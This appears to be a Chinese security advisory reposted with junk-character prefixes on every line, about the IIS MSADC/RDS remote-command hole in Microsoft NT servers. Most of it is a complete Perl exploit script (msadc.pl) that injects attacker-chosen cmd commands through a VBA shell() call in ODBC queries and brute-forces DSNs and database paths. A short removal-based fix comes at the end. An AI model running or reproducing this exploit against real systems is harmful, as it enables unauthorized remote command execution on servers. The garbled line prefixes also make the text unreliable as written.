IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
I\,m6 =q PE\.J U 涉及程序：
,ezC}V0 M Microsoft NT server
RM(MCle} \a}_=O 描述：
U =G}@Y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?C6DK{S( n$03 ##pf 详细：
b)e';M 如果你没有时间读详细内容的话，就删除:
h,(f3Ik0O c:\Program Files\Common Files\System\Msadc\msadcs.dll
^s;x LGl] 有关的安全问题就没有了。
*2(W`m AB1.l
hR 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
*\M$pUS{ \uUd * 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Q~y) V 关于利用ODBC远程漏洞的描述，请参看:
K4[X P]\jr >B~vE2^tQ~ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ?:
XY3!{ A@o:mZ+XN( 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
@7fx0I'n http://www.microsoft.com/security/bulletins/MS99-025faq.asp f-BEfC,}' UgBD| ~zu 这里不再论述。
@_L:W1[ q"uP%TN 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
RY4b <i3 &W|r
P ( /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
g:yUZ;U 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
5x} XiMM U^@8eb v E;>Bc Pt5 #将下面这段保存为txt文件，然后: "perl -x 文件名"
O9_S"\8]@ ET1>&l:. #!perl
ui[E ,W~ #
' t hEZ # MSADC/RDS 'usage' (aka exploit) script
p[&6hXTd #
Shm $>\~= # by rain.forest.puppy
?vd_8C2B #
iYE7BUH= # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
u K_R#^ # beta test and find errors!
,Q2?Z :l }iZ>Gm '5 use Socket; use Getopt::Std;
s& gzv =v getopts("e:vd:h:XR", \%args);
ifYC&5}SI Vo; B #lK print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
p`CVq `k
YO3$I!( if (!defined $args{h} && !defined $args{R}) {
P\3$Y-id print qq~
[Dv6z t> Usage: msadc.pl -h <host> { -d <delay> -X -v }
%{sL/H_ -h <host> = host you want to scan (ip or domain)
EK
JPe eRY -d <seconds> = delay between calls, default 1 second
DJu&l -X = dump Index Server path table, if available
$ zR[2{bg -v = verbose
&AS<2h B -e = external dictionary file for step 5
ER)<Twj P_Bhec|#fT Or a -R will resume a command session
[&B}{6wry V jc*D] ~; exit;}
^-|yF2>` ?u)[xEx6}+ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
|*5QFp if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"92Z"I~1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
-y+u0,=p. if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>e4w8Svcy $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
>.fN@8[ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
sA}X h a [:MpOl-KIz if (!defined $args{R}){ $ret = &has_msadc;
[|NgrU_. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
+=qazE<:0 fK'qc L print "Please type the NT commandline you want to run (cmd /c assumed):\n"
2 ~zo)G0 . "cmd /c ";
? # cX_ $in=<STDIN>; chomp $in;
Bv)4YU $command="cmd /c " . $in ;
#SR"Q`P '~Z#h P if (defined $args{R}) {&load; exit;}
FX6 *` dl%KD8 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
R[/]iK+!& &try_btcustmr;
<r1N6(n R'.YE;leBG print "\nStep 2: Trying to make our own DSN...";
jxt^d &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
R\ +O.vX 6$l6 >A print "\nStep 3: Trying known DSNs...";
u{/!BCKE &known_dsn;
qUMM}ls G3.MS7 J print "\nStep 4: Trying known .mdbs...";
+T R# &known_mdb;
yQ3*~d~U|L pR
V L}^Rk if (defined $args{e}){
>UQ`@GdafR print "\nStep 5: Trying dictionary of DSN names...";
Q.d Hg7+D &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
n*
7mP ?pLKUA h print "Sorry Charley...maybe next time?\n";
5nhc|E)C exit;
G#~6a%VW 3cp"UU }. ##############################################################################
j1LL[+G-"_ -c1$ >+ sub sendraw { # ripped and modded from whisker
v8< MAq sleep($delay); # it's a DoS on the server! At least on mine...
ZV=)`E`I| my ($pstr)=@_;
nKoc%TNqe socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
d_5wMK6O6 die("Socket problems\n");
6-'Y* if(connect(S,pack "SnA4x8",2,80,$target)){
XP$ 1CWI select(S); $|=1;
'x-PQQ print $pstr; my @in=<S>;
1HBdIWhHv. select(STDOUT); close(S);
xzGs% 01] return @in;
@+S5"W } else { die("Can't connect...\n"); }}
|0wUOs*5 9%VNzPzf ##############################################################################
,B,2t u2 tvC7LL NP< sub make_header { # make the HTTP request
@Lj28&4:< my $msadc=<<EOT
(S@H'G" POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
P9wx`x""k User-Agent: ACTIVEDATA
+bj[. Host: $ip
8")1, Content-Length: $clen
^<@9ph Connection: Keep-Alive
jx=2^A/i2- ^ H,o I* ADCClientVersion:01.06
9 J$z/j;X Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
<.d0GD`^ O*<,lq 0K --!ADM!ROX!YOUR!WORLD!
#hBDOXH Pf Content-Type: application/x-varg
qP"<vZ Content-Length: $reqlen
*+E9@r=HF z]NN ^pIa EOT
y3
{om^ f ; $msadc=~s/\n/\r\n/g;
Ve4!MM@ti return $msadc;}
LZ@4,Uj \mt0mv;c ##############################################################################
uQ;b'6Jcp O1nfz> L` sub make_req { # make the RDS request
{$<X\\ &r my ($switch, $p1, $p2)=@_;
%rz.>4i)( my $req=""; my $t1, $t2, $query, $dsn;
hb>,\46} y`~[R7E if ($switch==1){ # this is the btcustmr.mdb query
((U-JeFW $query="Select * from Customers where City=" . make_shell();
S> f8j?n $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$=j}JX}z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
A@@ Z?t. | Wrf|%p elsif ($switch==2){ # this is general make table query
! /w<F{cl $query="create table AZZ (B int, C varchar(10))";
S*o%#ZJN $dsn="$p1";}
p& > z=Z* ak?XE4-N elsif ($switch==3){ # this is general exploit table query
/lQGFLZL $query="select * from AZZ where C=" . make_shell();
~P T( /L $dsn="$p1";}
crJyk #_ OG_2k3v elsif ($switch==4){ # attempt to hork file info from index server
CapWn~*g $query="select path from scope()";
W*hRYgaX3 $dsn="Provider=MSIDXS;";}
c%uX+\-$ Q<y&*o3YF| elsif ($switch==5){ # bad query
eeuTf $query="select";
%#rH~ E $dsn="$p1";}
/=x) 9J +3
2"vq)_ $t1= make_unicode($query);
a& Ti44a[ $t2= make_unicode($dsn);
rZDmZm?= $req = "\x02\x00\x03\x00";
xQ
`>\f $req.= "\x08\x00" . pack ("S1", length($t1));
29?{QJb $req.= "\x00\x00" . $t1 ;
/x6,"M[97 $req.= "\x08\x00" . pack ("S1", length($t2));
,H3~mq] $req.= "\x00\x00" . $t2 ;
xj/ +Z!,9 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
nQc ]f* return $req;}
Ojx1IL v ZM.gn ##############################################################################
qbjLTE= 9HlRf6S sub make_shell { # this makes the shell() statement
F*F
U[ 5 return "'|shell(\"$command\")|'";}
a
X >bC- `0tzQ>ZQq ##############################################################################
TR8<= h sVf/% sub make_unicode { # quick little function to convert to unicode
g/b_\__A my ($in)=@_; my $out;
@)>9l& for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
s@sr.'yU return $out;}
blcd]7nK z?HP%g'M~ ##############################################################################
D >u1ngu *dn~-W. sub rdo_success { # checks for RDO return success (this is kludge)
H|4O`I;~( my (@in) = @_; my $base=content_start(@in);
]q0mo1-EZ! if($in[$base]=~/multipart\/mixed/){
'H<0:bQ=I return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ZZf-c5 g return 0;}
:7t~p&J ?|8H|LBIr ##############################################################################
^+zF;Q' _2 V L% sub make_dsn { # this makes a DSN for us
Si#b"ls' my @drives=("c","d","e","f");
(~P b,Q print "\nMaking DSN: ";
|?CR|xqT foreach $drive (@drives) {
!M&L<0b:7e print "$drive: ";
cn$E?&- my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
i0 ax`37 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
p4;A[2Ot`: . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
he0KzwBF $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
+B$ o 8V return 0 if $2 eq "404"; # not found/doesn't exist
Iaf"j 2B if($2 eq "200") {
}vkrWy^ foreach $line (@results) {
|->{N U Z{ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
(&4aebkZO } return 0;}
Lrgv:n lzz rzx^ ##############################################################################
=PiDZS^" HTK 79
+ sub verify_exists {
TY[1jW~{r my ($page)=@_;
P
a gzp%m my @results=sendraw("GET $page HTTP/1.0\n\n");
d/G`w{H}y return $results[0];}
=j]us?5 I"4j152P| ##############################################################################
" d3pkY G\S\Qe{P~ sub try_btcustmr {
ngoo4}
my @drives=("c","d","e","f");
O1pBr=+j+{ my @dirs=("winnt","winnt35","winnt351","win","windows");
xQX,1NbH5 jk2h"):B> foreach $dir (@dirs) {
$v?+X20 print "$dir -> "; # fun status so you can see progress
l@Vl^f~ P foreach $drive (@drives) {
woJO0hHR print "$drive: "; # ditto
[vkz<sL" $reqlen=length( make_req(1,$drive,$dir) ) - 28;
M7 &u_Cn? $reqlenlen=length( "$reqlen" );
~d :Z |8 $clen= 206 + $reqlenlen + $reqlen;
s7 IaU|m !8^:19+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
h
V@C|*A if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
<JE-#i else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
TIbq UR 77- Jx`C ##############################################################################
sw{,l"]< 76a+|TzR sub odbc_error {
vr <6j/ty my (@in)=@_; my $base;
W-:gU!{*# my $base = content_start(@in);
w?6"`Mo if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
60P^aj$V $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\x i
wp. $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
DTrS9j?z $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
n*G[ZW*Uc return $in[$base+4].$in[$base+5].$in[$base+6];}
S?Q4u!FC print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
_4iTP$7[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
%-!ruc "} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
@ e# eAJhU :SilQm*Pl ##############################################################################
Ml)~%ZbF 'awL!P-- sub verbose {
keNPlK% > my ($in)=@_;
mHjds77e return if !$verbose;
pIdJ+gu( s print STDOUT "\n$in\n";}
qt 5CoxeJ O7|0t\) ##############################################################################
j?D=Ij "o [$)C(1zY sub save {
[@Y<:6 my ($p1, $p2, $p3, $p4)=@_;
.8hB <G open(OUT, ">rds.save") || print "Problem saving parameters...\n";
8jW{0&ox) print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
}I;A\K] close OUT;}
:Xc%_& ) Mi&,64< ##############################################################################
h(!x&kZq. /%Lj$]S7[4 sub load {
L@Fw;G|%' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Cdl#LVqs open(IN,"<rds.save") || die("Couldn't open rds.save\n");
yC ZV:R; @p=<IN>; close(IN);
es@_6ol .@ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6r/NdI $target= inet_aton($ip) || die("inet_aton problems");
;:Q 5?zM print "Resuming to $ip ...";
+L1%mVq]y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
I#QBJ# if($p[1]==1) {
hW[/{2<@ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
i8pM,Ppi~ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
a9PSg/p my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
_?&$ @c if (rdo_success(@results)){print "Success!\n";}
4jefU}e9# else { print "failed\n"; verbose(odbc_error(@results));}}
ZKTOif} elsif ($p[1]==3){
UA$
X jP if(run_query("$p[3]")){
n5 dFp%k print "Success!\n";} else { print "failed\n"; }}
O, 6U pk elsif ($p[1]==4){
1lZl 10M:f if(run_query($drvst . "$p[3]")){
2C^ /;z print "Success!\n"; } else { print "failed\n"; }}
iEr Y2~? exit;}
7Uvf XzDNC PeGL
Rbx34 ##############################################################################
<CIJ g* ko\VDyt, sub create_table {
F2!C^r,~L my ($in)=@_;
!K^.r_0H. $reqlen=length( make_req(2,$in,"") ) - 28;
v
0mc1g+9 $reqlenlen=length( "$reqlen" );
&3l g\&" $clen= 206 + $reqlenlen + $reqlen;
_2+}_ >d my @results=sendraw(make_header() . make_req(2,$in,""));
&
.VciSq6 return 1 if rdo_success(@results);
o5KpiibFM my $temp= odbc_error(@results); verbose($temp);
=!m5'$Uz> return 1 if $temp=~/Table 'AZZ' already exists/;
I*_@WoI* return 0;}
^c3~CD5H
3 6KPM4#61o ##############################################################################
;$Q `JN=
'&,$"QXwE sub known_dsn {
e eb`Ao # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,R/HT@ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
r4/G &m[V "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
p
x1y #Q "banner", "banners", "ads", "ADCDemo", "ADCTest");
0FmYM@Wc 3Z#k9c_b foreach $dSn (@dsns) {
WGFp<R print ".";
{pMbkA Q@ next if (!is_access("DSN=$dSn"));
hI*gw3V if(create_table("DSN=$dSn")){
j|"#S4IX)F print "$dSn successful\n";
|F z/9+I if(run_query("DSN=$dSn")){
e9/:q"*)/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
VqqI%[!Aw print "Something's borked. Use verbose next time\n";}}} print "\n";}
(@*[^@ipV ve[` 0 ##############################################################################
xrDHXqH s^+h> sub is_access {
P F#+G;q; my ($in)=@_;
4E]w4BG) $reqlen=length( make_req(5,$in,"") ) - 28;
]s-;*o\H $reqlenlen=length( "$reqlen" );
x? 3U3\W $clen= 206 + $reqlenlen + $reqlen;
W 1S7%6y_1 my @results=sendraw(make_header() . make_req(5,$in,""));
C o v,#j j my $temp= odbc_error(@results);
[ sJ f)< verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<?'d \B return 0;}
O?e3 8(
% LeG.~? ##############################################################################
b ,"gBg {]1o( $.u sub run_query {
Z aJg$ my ($in)=@_;
mne4u W $reqlen=length( make_req(3,$in,"") ) - 28;
-
y[nMEE $reqlenlen=length( "$reqlen" );
>+ y[HTf- $clen= 206 + $reqlenlen + $reqlen;
rZ`ob x \S my @results=sendraw(make_header() . make_req(3,$in,""));
9r.O s return 1 if rdo_success(@results);
*TQXE:vZ[ my $temp= odbc_error(@results); verbose($temp);
umZy=KHj return 0;}
0o~? ]C KDr?< "2L ##############################################################################
9TRS#iVL+* -N;$L~`iAt sub known_mdb {
&}:'YK*X my @drives=("c","d","e","f","g");
\'Oi0qo> my @dirs=("winnt","winnt35","winnt351","win","windows");
o))z8n?b my $dir, $drive, $mdb;
m
" ' my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/H.w0fu&.S L+,p#w # this is sparse, because I don't know of many
%+gYZ v- my @sysmdbs=( "\\catroot\\icatalog.mdb",
=Hplg>h) "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
i ]&C=X "\\system32\\certmdb.mdb",
! J`>;& "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
&n kYJi(! E~ vM$$O$ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
tY~gn|M "\\cfusion\\cfapps\\forums\\forums_.mdb",
.vsrZ_y? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
o1C1F}gxU "\\cfusion\\cfapps\\security\\realm_.mdb",
Q ND{3Q "\\cfusion\\cfapps\\security\\data\\realm.mdb",
5(RFk Zn4[ "\\cfusion\\database\\cfexamples.mdb",
-xs @ rV` "\\cfusion\\database\\cfsnippets.mdb",
q5C(/@)^ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
<QbD ; (% "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
uYVlF@] "\\cfusion\\brighttiger\\database\\cleam.mdb",
&?N1-?BjM "\\cfusion\\database\\smpolicy.mdb",
hG~4i:p
< "\\cfusion\\database\cypress.mdb",
d-/{@
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
3cfJ(% 'X "\\website\\cgi-win\\dbsample.mdb",
4/UY*Us& "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Wno{& I63 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
T
DOOq;+ ); #these are just
}ie O foreach $drive (@drives) {
`{w.OK foreach $dir (@dirs){
#1fT\aP foreach $mdb (@sysmdbs) {
t;005 ]'Mp print ".";
$yxwB/ O( if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
d%+oCoe b print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
>np!f8+d"q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
>h:rYEsh8V print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
LsaE-l } else { print "Something's borked. Use verbose next time\n"; }}}}}
'5xIisP cV]c/*z A foreach $drive (@drives) {
J>_|hg= foreach $mdb (@mdbs) {
OpFe= 1Q print ".";
2I'gT$h if(create_table($drv . $drive . $dir . $mdb)){
S -$ L2N print "\n" . $drive . $dir . $mdb . " successful\n";
$ 9bIUJ if(run_query($drv . $drive . $dir . $mdb)){
%oPW`r print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
m? 3! } else { print "Something's borked. Use verbose next time\n"; }}}}
0u[Vd:()v( }
.*FBr7rE\ 6ub-NtVu ##############################################################################
NGQBOV A|jmp~@K)+ sub hork_idx {
P?| F+RoX$ print "\nAttempting to dump Index Server tables...\n";
h r@c 7/L print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Zo$ ,{rl $reqlen=length( make_req(4,"","") ) - 28;
t
Qo) * z $reqlenlen=length( "$reqlen" );
= iJfz $clen= 206 + $reqlenlen + $reqlen;
xvo" "R/g8 my @results=sendraw2(make_header() . make_req(4,"",""));
Z;M}.'BE if (rdo_success(@results)){
Fu q MT` my $max=@results; my $c; my %d;
{qxFRi#\k for($c=19; $c<$max; $c++){
."`mh&+` $results[$c]=~s/\x00//g;
>]b>gc? 3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&CP0T:h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
9$ GA s $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
as#_Fer`U $d{"$1$2"}="";}
O7<- - foreach $c (keys %d){ print "$c\n"; }
vG E;PwR } else {print "Index server doesn't seem to be installed.\n"; }}
`FS)i7-o6 ?\ Fo|__ ##############################################################################
{ #?$ p i[ >O0z+tj sub dsn_dict {
<' (O0 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
~x67v+I while(<IN>){
;B Lw?kf $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
GSl vT: k next if (!is_access("DSN=$dSn"));
'7BJ . if(create_table("DSN=$dSn")){
/hrVnk i* print "$dSn successful\n";
*[XVkt`H if(run_query("DSN=$dSn")){
,_SE!iL print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#B_Em$ print "Something's borked. Use verbose next time\n";}}}
{7EnM1] print "\n"; close(IN);}
wY$'KmNW ".0~@W0 ##############################################################################
= ;tDYuFc! $a
/ jfpV sub sendraw2 { # ripped and modded from whisker
Oe# *- sleep($delay); # it's a DoS on the server! At least on mine...
(29h{= P' my ($pstr)=@_;
qH 1k socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~vL7$-: die("Socket problems\n");
^wnlZ09J if(connect(S,pack "SnA4x8",2,80,$target)){
5a8[0&hA 2 print "Connected. Getting data";
]IF
QD open(OUT,">raw.out"); my @in;
R\i8O^[ select(S); $|=1; print $pstr;
B!P T| while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
sGBm[lplz close(OUT); select(STDOUT); close(S); return @in;
XSfl'Fll D } else { die("Can't connect...\n"); }}
zY11.!2 ~Qg:_ @@\ ##############################################################################
FJI%+$] wl^7.IR sub content_start { # this will take in the server headers
Z}X oWT2f my (@in)=@_; my $c;
pt/UY<@yoN for ($c=1;$c<500;$c++) {
%R|_o<(#MJ if($in[$c] =~/^\x0d\x0a/){
x6n( BMr if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
F,hiKq* else { return $c+1; }}}
+, IMN)?;z return -1;} # it should never get here actually
*8I+D>x 6 b/UFO ##############################################################################
blVt:XS{,m d17RJW% A sub funky {
[quT&E my (@in)=@_; my $error=odbc_error(@in);
@%FLT6MY if($error=~/ADO could not find the specified provider/){
Q4;%[7LU print "\nServer returned an ADO miscofiguration message\nAborting.\n";
T
O]wD^` exit;}
OV~]-5gau if($error=~/A Handler is required/){
tVUC@M>' print "\nServer has custom handler filters (they most likely are patched)\n";
< bvbfS exit;}
4z;@1nN_8a if($error=~/specified Handler has denied Access/){
\zx &5a
# print "\nServer has custom handler filters (they most likely are patched)\n";
2`Dqu"TWh exit;}}
H$@5\pP> \]:}lVtxS ##############################################################################
i(Xz3L#( v 0aV>-v sub has_msadc {
H\>0jr ` my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
rd
)_*{ my $base=content_start(@results);
G5l?c@o return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
uGoySt&;( return 0;}
!^Ly# $-X 5%6{ ePh{ ########################
V/t/uNm y^u9Ttf{ `] fud{ 解决方案：
qj.>4 d 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
g +RgDt9 2、移除web 目录: /msadc
